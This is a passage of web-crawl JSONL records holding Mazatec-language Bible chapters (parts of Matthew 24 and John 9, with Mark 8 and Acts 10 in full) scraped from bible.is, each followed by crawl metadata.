si̱ìkinda̱ ni'ya‑la̱, mé‑ni nga 'kia̱ ki̱jchò chi̱ba̱‑la̱ si̱ìkjèn chi̱'nda xákjén. 46Mé ta̱ nda‑la̱ jè chi̱'nda ra nda tísíhitjasòn xá‑la̱ 'kia̱ nga kj'i̱í‑ni jè ni‑la̱ ni'ya. 47'Koa̱á xin kixi̱‑no, jè ni‑la̱, jé‑la si̱ìkíjna'nda ijye nga'tsì tsajmì ra tjín‑la̱. 48Tanga jè chi̱'nda ra̱kìi̱, tsa 'cho 'ki, tsa ki̱tso̱ a̱jin inìma̱‑la̱: Ki̱chjiaán‑la̱ jè ni‑na̱, 49ko̱ tsa ki̱ì'tsia̱ nga ska̱jàn‑ko̱ jñà chi̱'nda xákjén nga ko̱kje̱n ko̱ nga sk'íko̱ jñà xi̱ta̱ 'chi̱. 50Jé ni̱chjin kj'i̱í‑ni ni‑la̱ xá, 'kia̱ nga mì kì tíkoñá‑la̱ ko̱ mì kì tjíjin‑la̱. 51'Ñó tse kjo̱hi'in tsjá‑la̱; ngásòn tse kjo̱hi'in tsjá‑la̱ koni jñà xi̱ta̱ ra jò i̱sén tjín‑la̱. Ko̱ ya̱á 'ñó ski̱ndaya ko̱ ngi ski̱ne̱né ni̱'ño̱.\nSan Mateo 24","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/24","date":"2013-12-08T11:33:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065206\/warc\/CC-MAIN-20131204131745-00072-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000008463859558}","num_words":1148,"character_repetition_ratio":0.071,"word_repetition_ratio":0.015,"special_characters_ratio":0.243,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Ìjngoò na̱chrjein nga kjìn jchán xi̱ta̱ kjòxkóya koa̱ tsjìn tsojmì xi kine, Jesús kiìchja̱‑la̱ xi̱ta̱‑la̱ xi kota'yàt'aà‑la̱, kitsò‑la̱: 2―Jñà xi̱ta̱ koi, mahi̱ma̱keè‑ná. Jyeé kò jàn na̱chrjein tjín‑la̱ nga títsa̱jnako̱‑na koa̱ ni̱mé tjín tsojmì xi kine. 3Tsà tà ko̱s'ín siìkasén chjan‑na ni'ya‑la̱ ya̱á ko̱hindaàya ndi̱yá nga tjín xi kjiìn inchrobà‑ne. 4Kitsò xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús: ―¿Kós'ín si̱kjèn xi̱ta̱ koi jngoò i̱'nde i̱t'aà xìn ñánda ni̱mé tjín? 5Jesús kiskònangui‑la̱, kitsò‑la̱: ―¿Kó tjín ma i̱nchra̱jín xi tíyijò‑nò? Kitsò jñà xi̱ta̱ xi kota'yàt'aà‑la̱: ―Itoò ma‑ne. 6K'e̱é kitsò Jesús: ―Koa̱tìn‑la̱ kàtìtsa̱jnat'aà nangui jñà xi̱ta̱. Jesús kiskoé i̱nchra̱jín xi itoò ma‑ne; kitsjaà‑la̱ kjo̱ndaà Nainá i̱kjoàn kisìxkoa̱ya; k'e̱é kjònga̱tsja jñà xi̱ta̱ xi kota'yàt'aà‑la̱ mé‑ne nga kisìka'bí‑la̱ jñà xi̱ta̱ xi kjìn ma‑ne. 7Ti̱koa̱á tíyijò chiba‑la̱ ti̱n jtobá. Jesús kisìchikon‑t'in; i̱kjoàn kitsò‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱: ―Ti̱ka'bió. 8Tsakjèn yije xi̱ta̱ kóho̱tjín skanda kó nga kjòskiì; k'e̱ nga tsibíxkó‑ne jñà xi kjòxkoa̱ya nga tsiningui‑ne, nguì itoò ni̱si̱yá ko̱ma. 9Jñà xi̱ta̱ xi tsakjèn, kjo̱meè ñijòn jmiì ma‑ne. Jesús, i̱kjoàn kisìhixat'aà‑ne jñà xi̱ta̱; 10i̱kjoàn jahas'en chitso ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱. Ya̱á kiì i̱'nde ñánda 'mì Dalmanuta. 11Ijchò xi̱ta̱ fariseo, tsibíts'ia̱ nga tsajoókjoò‑ko̱ Jesús. Kisìjé jngoò‑la̱ seña xi jeya tjín xi i̱t'aà ts'e̱ Nainá nchrobá‑ne nga mejèn‑la̱ skoe̱ tsà kixi̱ kjoa̱ nga Nainá kisìkasén. 12Jesús 'ñó jaátse‑la̱, kitsò: ―Jñà xi̱ta̱ koi, ¿mé‑ne seña xi jeya tjín síjé‑ne? Xi nguì o̱kixi̱, k'oa̱á xan‑nò, ni̱jngoò seña jcha̱a. 13Ya̱á kisìkítsa̱jna xi̱ta̱ koi; jahas'en ìjngoò k'a‑ne chitso; kiì ján xijngoaà ndáchikon. 14Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús, k'e̱ nga kiì, kijchàajiìn‑la̱ mìkiì ts'a i̱nchra̱jín. Tà jngoò ma i̱nchra̱jín xi kjinaya‑la̱ chitso. 15Jesús kitsò‑la̱: ―Chítsejèn‑là koa̱ ti̱kinda̱a yijo‑nò i̱t'aà ts'e̱ na̱'yo̱ san‑la̱ xi̱ta̱ fariseo ko̱ ts'e̱ Herodes. 16Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús tsohóko̱ xíkjín, kitsò‑la̱: ―Koií k'oa̱ tsò‑ná nga mìkiì kich'á i̱nchra̱jín. 17Jesús kisijiìn‑la̱ koni s'ín nchijoó, k'e̱é kitsò‑la̱: ―¿Mé‑ne ko̱bixón‑nò nga tsjìn‑nò i̱nchra̱jín? ¿A kj'eè fìya‑nò? ¿A mì machi̱ya‑nò? ¿A tsí 'ñó tájaàjiìn tjín ini̱ma̱‑nò? 18Tjín xkoòn, ¿mé‑ne mìkiì tsejèn‑nò? Tjín líká‑nò, ¿mé‑ne mìkiì na'yà‑nò? ¿A mì bítsjeèn‑nò 19k'e̱ kisìka'biá i̱nchra̱jín xi 'òn ma‑ne koa̱ 'òn jmiì xi̱ta̱ tsakjèn? ¿Kó tjín ni̱si̱yá tsiningui‑ne xi tsibíxkó‑ìsa̱? Kitsò jñà xi̱ta̱: ―Tejò ni̱si̱yá komà. 20―K'e̱ nga kisìka'biá jñà i̱nchra̱jín xi itoò ma‑ne, koa̱ ñijòn jmiì xi̱ta̱ tsakjèn, ¿kó tjín ni̱si̱yá tsiningui‑ne xi tsibíxkó‑ìsa̱? Kitsò jñà xi̱ta̱: ―Itoò ni̱si̱yá komà. 21K'e̱é kitsò‑la̱: ―¿A tà kó kj'eè machi̱ya‑nò? 22Jesús ijchò ján na̱xa̱ndá Betsaida; ya̱ ijchòko̱ jngoò‑la̱ xi̱ta̱ xi mìkiì tsejèn‑la̱. Tsibítsi'ba‑la̱ nga kàtát'aà‑la̱ tsja jñà xko̱n. 23Jesús kitsobà'ñó tsja jè xi̱ta̱ xi mìkiì tsejèn‑la̱. I̱kjoàn tsachrjekàjiìn na̱xa̱ndá, tsibíchrángui xko̱n, i̱kjoàn tsohósòn‑la̱ tsja. K'e̱é kiskònangui‑la̱ a tsejèn chiba‑la̱. 24Jè xi̱ta̱ xi mìkiì tsejèn‑la̱ kiskoòtsejèn, kitsò: ―Jye be xi̱ta̱ ta̱nga k'oa̱á ma‑na̱ ta koni kjoàn yá kjoàn nga tjíma. 25Jesús, ìjngoò k'a tsohót'aà‑la̱ tsja jñà xko̱n. Kitsò‑la̱ nga ndaà kàtakotsejèn, ni̱to̱ón kjòndaà‑ne. Ndaà kijtseè yije‑ne. 26Jesús kisìkasén‑ne ni'ya‑la̱ xi̱ta̱ jè, kitsò‑la̱: ―Kì ya̱ bitjaàs'en‑jiìn na̱xa̱ndá, kì yá xi̱ta̱ xi bèno̱jmí‑la̱. 27Itjo Jesús ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱, kiì ya̱ na̱xa̱ndá jtobá xi chja̱‑ne Cesarea ts'e̱ Filipo. K'e̱ nga tjímaya ndi̱yá, Jesús kiskònangui‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱, kitsò‑la̱: ―¿Kó tsò jñà xi̱ta̱? ¿Yá‑ná 'a̱n? 28Kitsò jñà xi̱ta̱ xi kota'yàt'aà‑la̱: ―Tjín xi tsò: \"Jé Juan xi kis'iìn bautizar xi̱ta̱.\" Tjín xi tsò: \"Jé Elías.\" Ti̱koa̱á tjín xi tsò: \"Jngoò xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá.\" 29Jesús kiskònangui‑la̱ jñá xi̱ta̱ xi kota'yàt'aà‑la̱; kitsò‑la̱: ―¿Jñò kó bixón? ¿Yá‑ná 'a̱n? Kiìchja̱ Pedro, kitsò: ―Ji̱‑né xi Cristo [xi xó kisìkasén‑lè Nainá]. 30Ta̱nga jè Jesús kitsò‑la̱: ―Kì yá xi̱ta̱ xi bèno̱jmí‑là xi i̱t'aà ts'a̱n. 31Tsibíts'ia̱ Jesús nga tsakóya‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱, kitsò‑la̱: ―'A̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, tse kjo̱'in siìkjiaán; ko̱chrjengui‑na jñà xi̱ta̱ jchínga, ko̱ jñà xi̱ta̱ sko̱‑la̱ no̱'miì, ko̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés. Si̱ìk'eén‑na ta̱nga k'e̱ nga ki̱jchò jàn na̱chrjein kjoa̱áya‑na. 32Jesús nguì ndaà tsibéno̱jmí kjoa̱ xi komàt'in. Jé Pedro kiìchja̱t'aàxìn‑la̱ Jesús nga mìkiì ndaà tjín koni tsò. 33Ta̱nga Jesús, kisìkáfaya, kiskoòtsejèn‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱, tsohótiko̱ Pedro. Kitsò‑la̱: ―Ti̱si̱t'aàxìn‑ná ji̱ xi̱ta̱ nei̱í. Nga ji̱, mìtsà k'oa̱s'ín nìkítsjiìn koni s'ín tjín kjo̱hítsjeèn‑la̱ Nainá. Ngaji̱ tà k'oa̱s'ín nìkítsjiìn koni s'ín tjín kjo̱hítsjeèn‑la̱ xi̱ta̱. 34Jesús kiìchja̱‑la̱ xi̱ta̱ xi kota'yàt'aà‑la̱ ko̱ xi̱ta̱ xi tji̱ngui‑la̱. Kitsò‑la̱: ―Tsà yá xi mejèn‑la̱ nga xi̱ta̱ ts'a̱n ko̱ma, kàtatsjeiìn‑takòn mé xi mejèn‑la̱ yijo‑la̱; koni jngoò xi̱ta̱ xi 'yajen krò‑la̱, kàtìjnandaà nga si̱ìkjeiín kjo̱'in xi kjoa̱ ts'a̱n; ndaà kàtjìt'aà‑na. 35Nga ni̱ta̱ yá xi̱ta̱ xi mejèn‑la̱ ko̱chrjetjì yijo‑la̱ nga ni̱mé kjo̱'in sa̱kò‑la̱, tà sa̱á si̱ìchija‑né ko̱ kjo̱'in kíjnajiìn; ta̱nga jè xi tíjnandaà nga tsjá yijo‑la̱ xi kjoa̱ ts'a̱n ko̱ kjoa̱ ts'e̱ 'én ndaà‑la̱ Nainá, jè‑né xi ki̱tjokàjiìn kjo̱'in nga i̱t'aà ts'a̱n ndaà kíjna. 36¿Mé xi si̱ìkijne xi̱ta̱ na̱s'ín tjoé yije‑la̱ i̱sò'nde tsà si̱ìchja ini̱ma̱‑la̱? Ni̱mé. 37¿A ko̱ma koi̱ìchjí kjoa̱biyaà jngoò xi̱ta̱ xi majìn‑la̱ nga ki̱yá? Majìn. 38Tsà tjín i'nga xi̱ta̱ xi ko̱sobà‑la̱ i̱t'aà ts'a̱n ko̱ i̱t'aà ts'e̱ 'én‑na̱ ya̱ nguixko̱n xi̱ta̱ jé xi tjín, ti̱koa̱á 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, ko̱sobà‑na̱ i̱t'aà ts'e̱ k'e̱ nga kjoi̱ikoa̱a ìjngoò k'a kjoa̱jeya‑la̱ Na̱'èn‑na̱ ko̱ àkja̱le̱ tsjeè‑la̱ Nainá.\nSan Marcos 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/8","date":"2013-12-13T09:37:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164923389\/warc\/CC-MAIN-20131204134843-00016-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000077486038208}","num_words":796,"character_repetition_ratio":0.104,"word_repetition_ratio":0.008,"special_characters_ratio":0.234,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Ya̱ na̱xa̱ndá Cesarea tsibìjna jngoò xi̱ta̱ xi 'mì Cornelio, jè xi xi̱ta̱ sko̱‑la̱ ts'e̱ soldado xi jngoò sìndo̱ ma‑ne xi ya̱ chja̱‑ne xi 'mì Italiano. 2Jè Cornelio, ngats'iì xi̱ta̱ ni'ya‑la̱, ndaà beèxkón Nainá, ti̱koa̱á tsakjón‑keè Nainá. Ndaà síchját'aà‑la̱ jñà xi̱ta̱ i̱ma̱ xi nì mé tjín‑la̱. Kjit'aà na̱chrjein bítsi'ba‑la̱ Nainá. 3Jngoò na̱chrjein, ijchò‑la tsà xi jàn nga nguixòn, tsatsejèn jngoò‑la̱ kjoa̱ koni tsà nijñá tí'biì‑la̱ nga jahas'en jngoò àkja̱le̱‑la̱ Nainá ya̱ ni'ya ñánda tíjna; kitsò‑la̱: ―¡Cornelio! 4Jè Cornelio, k'e̱ nga kiskoò'an àkja̱le̱, tà kitsakjòn‑la̱, kitsò‑la̱: ―¿Mé xi mejèn‑lè na̱'èn? Jè àkja̱le̱ kitsò: ―Jyeé ijchò kaàt'aà‑la̱ Nainá jè kjoa̱ bítsi'ba‑lè ko̱ kjoa̱ nga nìchját'aà‑la̱ xi̱ta̱ i̱ma̱ xi nì mé tjín‑la̱. Jè Nainá ndaà sasén‑la̱. 5Ti̱kasín xi̱ta̱‑lè ján na̱xa̱ndá Jope; kàtìkjaá Simón xi ti̱koa̱ Pedro 'mì. 6Ya̱ tíjna ni'ya‑la̱ xi̱ta̱ xi ti̱koa̱ Simón 'mì xi chrjoa̱‑la̱ cho̱ síhinda. Jè ni'ya‑la̱ ya̱á kijnandiì ndáchikon. Jè ke̱èno̱jmí‑lè mé xi s'i̱in. 7K'e̱ nga jye kiì‑ne àkja̱le̱‑la̱ Nainá xi tíchja̱ko̱ Cornelio, kiìchja̱ jò‑la̱ xi̱ta̱ chi̱'nda‑la̱ koa̱ jngoò soldado xi ndaà beèxkón Nainá xi ya̱ síxát'aà‑la̱. 8K'e̱ nga jye tsibéno̱jmí yije‑la̱ ngats'iì kjoa̱ xi kiì'nchré, i̱kjoàn kisìkasén ján na̱xa̱ndá Jope. 9K'e̱ nga komà nchijòn, ijchò‑la tsà nchisen, jñà xi̱ta̱ koi, jyeé kjo̱meè bijchó chrañà‑la̱ na̱xa̱ndá Jope. Ti̱jè‑ne hora jè Pedro, tsijin i̱sò'nga ni'ya nga kiì kítsi'ba‑la̱ Nainá. 10Pedro, jyeé 'ñó kjòhojò‑la̱; mejèn‑la̱ nga ko̱kje̱n, ta̱nga tíkoñaá‑la̱, k'e̱é tísindaà tsojmì xi ski̱ne̱; tsatsejèn jngoò‑la̱ kjoa̱ koni nijñá tí'biì‑la̱. 11Kijtseè nga ti̱xá ngajmiì; inchrobàjen jngoò nikje skanda i̱t'aà nangui xi 'ñó teè kji, tjít'aà'ñó nga ñijòn chrja̱ngui̱‑la̱. 12Jè nikje, ya̱á títsa̱jnaya yije cho̱ xi tjín i̱ i̱t'aà nangui xi ñijòn ma ndso̱ko̱ ko̱ jñà cho̱ xi bífejno yijo‑la̱ nangui, ngats'iì cho̱ xi tjín‑la̱ jnga̱á xi tjíma i̱jiìn i̱sén. 13Jè Pedro kiì'nchré jngoò 'én xi kitsò‑la̱: ―Pedro, ti̱sítji̱in, ti̱k'in cho̱ koi, chi̱ni̱i. 14Kitsò Pedro: ―Na̱'èn, majìn; ni̱ saà jngoò k'a tsojmì tjé kíne̱e xi xkón tjín i̱t'aà ts'e̱ kjo̱tíxoma. 15Pedro, ìjngoò k'a kiì'nchré 'én xi kitsò‑la̱: ―Tsojmì xi Nainá jye kisìtsjeè nga ma chji̱ne̱, kì tsojmì tjé 'mì‑la̱. 16Jè kjoa̱ ts'e̱ nikje, jàn k'a o̱komà. I̱kjoàn tsijin ìjngoò k'a‑ne ján ngajmiì. 17Pedro, tísíkítsjeèn kó tsòya‑ne jè kjoa̱ xi kijtseè. Ti̱k'e̱é‑ne ijchò kinchajto xotjoa̱ ni'ya jñà xi̱ta̱ xi kisìkasén Cornelio nga jye kiskònangui ñánda‑ne ni'ya‑la̱ Simón. 18Kiskònangui, a ya̱á tíjna jngoò xi̱ta̱ xi Simón 'mì, ti̱koa̱ tjít'aàsòn 'ín‑la̱ nga Pedro 'mì. 19Jè Pedro, tákó k'e̱é tísíkítsjeèn jè kjoa̱ xi kijtseè, jè Ini̱ma̱ Tsjeè‑la̱ Nainá kitsò‑la̱: ―Jàn ma xi̱ta̱ xi ji̱ ótsji‑lè. 20Ti̱sítji̱in, titjo̱ji̱in, kì jò 'beé‑la̱ takoìn nga 'mìkoi̱i; jñà xi̱ta̱ koi, 'a̱án kàsíkasén. 21Jè Pedro inchrobàjen ñánda 'ncha xi̱ta̱ xi kisìkasén Cornelio, kitsò‑la̱: ―'A̱n‑ná xi binchaàtsji‑ná; ¿mé xá xi kòf'i̱‑nò? 22Jñà xi̱ta̱ koi kitsò: ―Jè kisìkasén‑naje̱n xi̱ta̱ sko̱‑la̱ soldado xi 'mì Cornelio, jngoò xi̱ta̱ kixi̱ xi ndaà beèxkón Nainá, ti̱koa̱ jè, ndaà yaxkón i̱t'aà ts'e̱ na̱xa̱ndá Israel. Jngoò xó àkja̱le̱‑la̱ Nainá k'oa̱ kitsò‑la̱ nga ngaji̱ ski̱nìkjaá‑lè nga k'oín ni'ya‑la̱ mé‑ne nga kéno̱jmíya‑la̱ 'én xi ji̱ tìhokoòyi. 23Jè Pedro kisìkas'en ni'ya‑la̱; ya̱á kisìkjáyako̱ jngoò ni̱tje̱n. Xi komà nchijòn, kiìko̱ xi̱ta̱ koi; ti̱koa̱á tsobáhijtako̱ i'nga xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo xi títsa̱jna ya̱ Jope. 24Xi komà nchijòn ijchò Cesarea; jyeé tíkoña jè Cornelio; jyeé títsa̱jna xi̱ta̱ xíkjín ko̱ amigo‑la̱ xi ndaà óko̱ xi xó kisìkí'nchré‑ne. 25K'e̱ nga jye ijchò Pedro, jè Cornelio itjo ni'ya nga kisìhixat'aà; tsasìxkó'nchit'aà‑la̱ nga kijtseèxkón. 26Ta̱nga jè Pedro kisìkasítje̱n, kitsò‑la̱: ―Ti̱sítji̱in; 'a̱n, ti̱koa̱á ta xi̱ta̱‑ná koni ngaji̱. 27Jè Pedro, nga tíhóko̱ Cornelio, jahas'en ni'ya; kijtseè nga 'ñó kjìn ma‑ne xi̱ta̱ xi ya̱ títsa̱jna. 28Pedro kitsò‑la̱: ―Jñò, tíjiìn‑nò nga jñà xi̱ta̱ judío mìkiì tjí'nde‑la̱ nga jñà xi̱ta̱ xi xìn i̱'nde‑la̱ si̱ìngásòn‑ko̱, mìkiì ma kjoa̱s'en ni'ya‑la̱ xi mìtsà xi̱ta̱ judío. Ta̱nga Nainá tsibéno̱jmíya‑na nga ni̱jngoò xi̱ta̱ xi ko̱ma xán‑la̱: jñò, ta̱xki̱ xi̱ta̱‑nò ko̱ xi̱ta̱ tjé‑nó nga nguixko̱n Nainá. 29Koií kjoa̱‑la̱ k'e̱ nga ijchò nokjoà‑ná, mìkiì kisìtájaàjñaà, ni̱to̱ón inchrobà. Jè xi kjònanguia, ¿mé xá xi nokjoà‑ná? 30Cornelio kitsò: ―Tjín‑la̱ ñijòn na̱chrjein, ti̱jè‑ne hora jè nga xi jàn nga nguixòn, k'e̱ nga tìchjàt'aà‑la̱ Nainá i̱ ni'ya‑na̱, tà ni̱to̱ón tsatsejèn jngoò xi̱ta̱ xi tsasìjna nguixkoaàn; 'ñó ote kji nikje‑la̱. 31Kitsò‑na: \"Cornelio, jè kjoa̱ bítsi'ba‑lè jye kina'yà‑la̱ ko̱ jye ki'ya‑la̱ nga nguixko̱n Nainá koni s'ín nìchját'aà‑la̱ xi̱ta̱ i̱ma̱ xi nì mé tjín‑la̱. 32Ti̱kasín xi̱ta̱‑lè ján na̱xa̱ndá Jope, kàtìkjaá Simón xi ti̱koa̱ Pedro 'mì. Ya̱ tíjna ni'ya‑la̱ xi̱ta̱ xi ti̱koa̱ Simón 'mì xi chrjoa̱‑la̱ cho̱ síhinda. Jè ni'ya‑la̱ ya̱á kijnandiì ndáchikon.\" 33K'oa̱á komà‑ne nga ni̱to̱n kiskinìkjaá‑lè. Ndaà kà'nè‑ne nga kànchroboì. Kóho̱tjín‑je̱n i̱í titsa̱jna‑je̱n nga nguixko̱n Nainá mé‑ne nga ki̱ná'ya yije‑je̱n mé o̱kixi̱ xi kitsjaà‑lè Nainá nga kéno̱jmí‑náje̱n. 34Pedro tsibíts'ia̱ nga kiìchja̱, kitsò: ―Kixi̱í kjoa̱, tíbe‑ná nga Nainá mìkiì faájiìn ni̱ta̱ yá xi̱ta̱‑ne, tà ngásòn fìko̱ yije. 35Nainá kjoétjò‑né ni̱ta̱ yá xi̱ta̱‑ne ni̱ta̱ ñánda‑ne i̱'nde‑la̱ xi beèxkón Nainá xi ti̱koa̱ s'ín kjoa̱kixi̱. 36Nainá kisìkasén 'én‑la̱ ya̱ na̱xa̱ndá Israel; tsibéno̱jmíya‑la̱ 'én ndaà‑la̱ nga 'nchán ki̱tsa̱jnakoa̱á Nainá i̱t'aà ts'e̱ Cristo, jè xi otíxoma‑la̱ ngats'iì xi̱ta̱ xi tjín i̱sò'nde. 37Jñò, ndaà tíjiìn‑nò koni s'ín komà kóho̱kji nangui‑la̱ xi̱ta̱ judío, kjòts'ia̱‑ne i̱'nde Galilea k'e̱ nga jye kiìchja̱ya Juan xi kjoa̱ ts'e̱ bautismo. 38Tíjiìn‑nò nga jè Jesús xi Nazaret ts'e̱, Nainá xó jaàjiìn‑ne nga kitsjaà‑la̱ Ini̱ma̱ Tsjeè‑la̱ ko̱ nga'ñó. Ni̱ta̱ ñánda‑ne nga tsajmeè Jesús, ndaà tjín kjo̱ndaà xi kis'iìn; kisìndaà‑ne xi̱ta̱ xi kjo̱'in nchisíkjeiín i̱t'aà ts'e̱ xi̱ta̱ nei̱í. Koií k'oa̱s'ín kis'iìn‑ne nga jè Nainá tíjnako̱. 39K'oa̱á ma‑ne bèno̱jmí‑je̱n nga xko̱ón ki'ya‑naje̱n ngats'iì kjo̱ndaà xi kis'iìn Jesús ya̱ nangui‑la̱ xi̱ta̱ judío ko̱ Jerusalén. K'e̱ nga komà i̱skan, jñà xi̱ta̱ kisìk'en Jesús, tsibítjo̱hónguit'aà krò. 40Ta̱nga nga ijchò jàn na̱chrjein Nainá kisìkjaáya‑la̱ ko̱ k'oa̱á s'ín kis'iìn nga kiyaxkon ìjngoò k'a‑la̱ nga jye jaáya‑la̱. 41Mìtsà ngats'iì xi̱ta̱ na̱xa̱ndá kijtseèxkon, tà ngaje̱n‑náje̱n xi xó kjòtseé kitjaàjiìn‑naje̱n mé‑ne nga ko̱ma kéno̱jmí‑je̱n xi i̱t'aà ts'e̱, ngaje̱n‑náje̱n xi chichiko̱‑je̱n ti̱koa̱ ki'yòko̱‑je̱n k'e̱ nga jye jaáya‑la̱. 42Jè Jesús tsibít'in‑naje̱n nga ki̱nókjoa̱ya‑je̱n ko̱ kéno̱jmí kixi̱‑la̱je̱n xi̱ta̱ na̱xa̱ndá nga jè Jesús, k'oa̱á s'ín kisìkíjna Nainá koni xi̱ta̱xá ítjòn nga jè bíndaàjiìn‑la̱ xi̱ta̱ xi títsa̱jnakon ko̱ xi jye k'en. 43Ngats'iì xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, k'oa̱á s'ín tsjá 'én nga ngats'iì xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo, i̱t'aà ts'e̱‑né nga jcha̱t'aà‑la̱ jé‑la̱. 44Tákó ti̱k'e̱é tíchja̱ ìsa̱ Pedro, ngats'iì xi̱ta̱ xi nchi'nchré‑la̱ itjojen‑nè Ini̱ma̱ Tsjeè‑la̱ Nainá. 45Jñà xi̱ta̱ judío xi tji̱ko̱ Pedro [xi ti̱koa̱ jye mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo], tà k'oa̱á komà‑la̱ k'e̱ nga kijtseè nga jñà xi mìtsà xi̱ta̱ judío, ti̱koa̱ ndaà itjojen‑nè jè Ini̱ma̱ Tsjeè‑la̱ Nainá. 46Nga kiì'nchré‑la̱ nga chja̱ xi kj'ei̱í 'én, ti̱koa̱ chja̱t'aà‑la̱ Nainá nga 'ñó jeya síkíjna. 47K'e̱é kitsò Pedro: ―Mì‑la kiì ko̱ma ki̱chakjáya‑là jñà xi̱ta̱ koi nga ko̱ma bautizar nga jyeé kàtjoé‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá koni s'ín kitjoé‑ná jñá. 48Jè Pedro kitsjaà o̱kixi̱ nga ko̱ma bautizar xi̱ta̱ koi i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo. I̱kjoàn jñà xi̱ta̱ tsibítsi'ba‑la̱ Pedro nga kàtìjnako̱ chiba na̱chrjein ìsa̱.\nHechos 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/10","date":"2013-12-08T20:34:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163809293\/warc\/CC-MAIN-20131204133009-00019-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000064373,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000064373016357}","num_words":1085,"character_repetition_ratio":0.068,"word_repetition_ratio":0.035,"special_characters_ratio":0.226,"stopwords_ratio":0.303,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Jesús k'e̱ nga tífì ya̱ ndi̱yá, kijtseè jngoò xi̱ta̱ xi mìkiì tsejèn‑la̱ xi xó k'oa̱s'ín kits'iìn‑ne. 2Xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kiskònangui‑la̱ kitsò‑la̱: ―Maestro, xi̱ta̱ jè, ¿mé‑ne k'oa̱s'ín kits'iìn‑ne? ¿Yá xi tsohótsji jé? ¿A jñà xi̱ta̱ jchínga‑la̱, o xi jè xi̱ta̱ xi mìkiì tsejèn‑la̱? 3Kiìchja̱ Jesús kitsò‑la̱: ―Mìtsà jè xi̱ta̱ xi mìkiì tsejèn‑la̱ tjín‑la̱ jé, ni̱ mìtsà jñà xi̱ta̱ jchínga‑la̱ tsohótsji jé. Koií‑né nga i̱t'aà ts'e̱ xi̱ta̱ koi jcha̱‑la̱ kjo̱xkón‑ndaà‑la̱ Nainá. 4Mochjeén‑né nga siìkitasoàn kjo̱xkón‑ndaà‑la̱ jè xi kisìkasén‑na̱ nga na̱chrjein ìsa̱. Ki̱jchò na̱chrjein k'e̱ nga ko̱jñò; ni̱ ti̱ jngoò‑ne xi ko̱ma si̱ìxá. 5K'e̱ tákó i̱ tìjna̱a ìsa̱ i̱sò'nde, 'a̱n‑ná ni'ín xi sìhiseèn‑la̱ xi̱ta̱ i̱sò'nde. 6K'e̱ nga jye o̱kitsò, tsibíchrá i̱t'aà nangui. Jè ndána̱chrá‑la̱ tsibíndaà‑ne ndási, i̱kjoàn kisìkaàjno xko̱n jè xi̱ta̱ xi mìkiì tsejèn‑la̱. 7I̱kjoàn kitsò‑la̱: ―T'in, kaníkjoiìn ya̱ chrjó nandá Siloé (jè 'én xi tsòya‑ne, jè xi kinìkasén). Jè xi̱ta̱ xi mìkiì tsejèn‑la̱ kiì kaníkjoa̱n, k'e̱ nga inchrobà‑ne jye tsejèn‑la̱. 8Jñà xi̱ta̱ i̱ndiì ni'ya‑la̱ jè xi̱ta̱ xi mìkiì tsejèn‑la̱, ko̱ jñà xi̱ta̱ xi jye kjòtseé beèxkon nga to̱n síjé kjo̱tjò, kitsò‑la̱ xíkjín: ―¿A mìtsà jè xi̱ta̱ jè xi bìjna nga síjé kjo̱tjò to̱n? 9Tjín i'nga xi̱ta̱ xi tsò: ―Jè‑né. Koa̱ jñà xi̱ta̱ xi i'nga kitsò: ―Kjo̱meè k'oa̱á kji, ta̱nga mìtsà jè. K'e̱é kiìchja̱ xi̱ta̱ xi mìkiì tsejèn‑la̱ nga sa̱ ítjòn, kitsò: ―'A̱n‑ná. 10Jñà xi̱ta̱ kiskònangui‑la̱ kitsò‑la̱: ―¿Kós'ín komà nga kitáx'a̱‑ne xkoiìn? 11Xi̱ta̱ jè kitsò: ―Jè xi̱ta̱ xi 'mì Jesús, kisindaà ndási, kisìkaàjno xkoaàn, i̱kjoàn kitsò‑na̱: \"T'in, kaníkjoiìn ya̱ chrjó nandá Siloé.\" 'A̱n, kiaà, k'e̱ nga jye tsaníkjoaàn, komà kotsejèn‑na. 12Jñà xi̱ta̱ koi 